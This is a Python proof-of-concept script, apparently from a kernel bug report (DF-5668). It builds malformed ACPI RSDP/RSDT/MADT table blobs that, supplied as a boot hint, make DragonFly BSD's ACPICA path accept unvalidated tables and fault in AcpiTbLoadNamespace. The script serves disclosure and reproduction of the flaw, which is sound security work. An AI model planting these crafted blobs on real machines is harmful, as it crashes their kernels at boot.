DF-5668 / gen_chain.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | #!/usr/bin/env python3 """ gen_chain.py -- DF-5668 PoC builder: RSDP->RSDT->MADT chains for the second unvalidated kenv RSDP consumer, AcpiOsGetRootPointer() (sys/platform/pc64/acpica/OsdEnvironment.c:72). The hint feeds ACPICA directly (AcpiInitializeTables -> AcpiTbParseRootTable, tbxface.c:257 -> tbutils.c:376) with no validation on the kenv branch, while the same function's own fallback path (AcpiFindRootPointer) is fully validated (AcpiTbValidateRsdp, tbxfroot.c:211-243). Scenarios: nosig_fadtless INVALID RSDP signature (deadbeefdeadbeef) + WRONG v1 checksum, valid-checksummed RSDT->control MADT, no FADT. -> proves zero validation: chain accepted, and ACPICA faults at AcpiTbLoadNamespace+0x36 (tbxfload.c:279-282, Tables[ACPI_INVALID_TABLE_INDEX=0xFFFFFFFF], because only AcpiTbParseFadt ever sets AcpiGbl_DsdtIndex). valid_fadtless FULLY valid "RSD PTR " + correct v1 checksum (rev 0), correct RSDT/MADT checksums, no FADT. -> a deliberately crafted fully-valid chain still crashes stock ACPICA (upstream Tables[invalid] deref); shows RSDP-level validation alone is necessary but not sufficient -- contrib guard needed as well. Blob layout (planted at 0x40000000, in-RAM on the 4 GB guest): +0x0000 RSDP (rev 0 -> RSDT path; RsdtPhysicalAddress = base+0x100) +0x0100 RSDT (1 entry -> MADT at base+0x200) +0x0200 MADT (BSP+2 APs, real KVM LAPIC 0xFEE00000 + IOAPIC 0xFEC00000) Control MADT is the proven DF-5588 rig content: native sdt_probe consumes it harmlessly (lapic_count=3), so boot reaches acpi0 attach where ACPICA's own walk of the SAME hint faults. """ import struct import sys BASE = 0x40000000 RSDP_OFF, RSDT_OFF, MADT_OFF = 0x0, 0x100, 0x200 def sdth(sig, length, rev): h = bytearray(36) h[0:4] = sig struct.pack_into('<I', h, 4, length) h[8] = rev h[9] = 0 # checksum patched by caller h[10:16] = b'DFBSD ' h[17:21] = b'P568' # OEM table id marker (4 bytes: DF-5668) struct.pack_into('<I', h, 21, 1) h[25:29] = b'IACT' struct.pack_into('<I', h, 29, 1) return h def lapic(pid, apic_id, enabled=True): return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0) def ioapic(apic_id, addr, gsi_base): return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base) def csum(b): return (-sum(b)) & 0xFF def build(scenario): # control MADT: BSP + 2 APs + real QEMU IOAPIC (DF-5588 proven content) entries = lapic(0, 0) + lapic(1, 1) + lapic(2, 2) entries += ioapic(0, 0xFEC00000, 0) madt_len = 44 + len(entries) madt = sdth(b'APIC', madt_len, 3) + bytearray(8) struct.pack_into('<I', madt, 36, 0xFEE00000) # Local Apic Address struct.pack_into('<I', madt, 40, 1) # PCAT_COMPAT flags madt += entries madt[9] = csum(madt) rsdt_len = 36 + 4 rsdt = sdth(b'RSDT', rsdt_len, 1) + bytearray(4) struct.pack_into('<I', rsdt, 36, BASE + MADT_OFF) rsdt[9] = csum(rsdt) # ---- the RSDP under test ------------------------------------------ rsdp = bytearray(24) rsdp[9:15] = b'X5668 ' # 6 bytes, fits the 6-byte slice rsdp[15] = 0 # Revision 0 -> RSDT path struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF) struct.pack_into('<I', rsdp, 20, 20) if scenario == 'nosig_fadtless': rsdp[0:8] = b'\xde\xad\xbe\xef\xde\xad\xbe\xef' # INVALID signature rsdp[8] = 0xAA # WRONG checksum elif scenario == 'valid_fadtless': rsdp[0:8] = b'RSD PTR ' # genuine signature rsdp[8] = csum(rsdp[0:20]) # CORRECT v1 cks else: raise SystemExit('unknown scenario ' + scenario) blob = bytearray(0x300) blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt blob[MADT_OFF:MADT_OFF + len(madt)] = madt return bytes(blob) if __name__ == '__main__': scen, out = sys.argv[1], sys.argv[2] data = build(scen) with open(out, 'wb') as f: f.write(data) sys.stderr.write('%s: %d bytes -> %s\n' % (scen, len(data), out)) |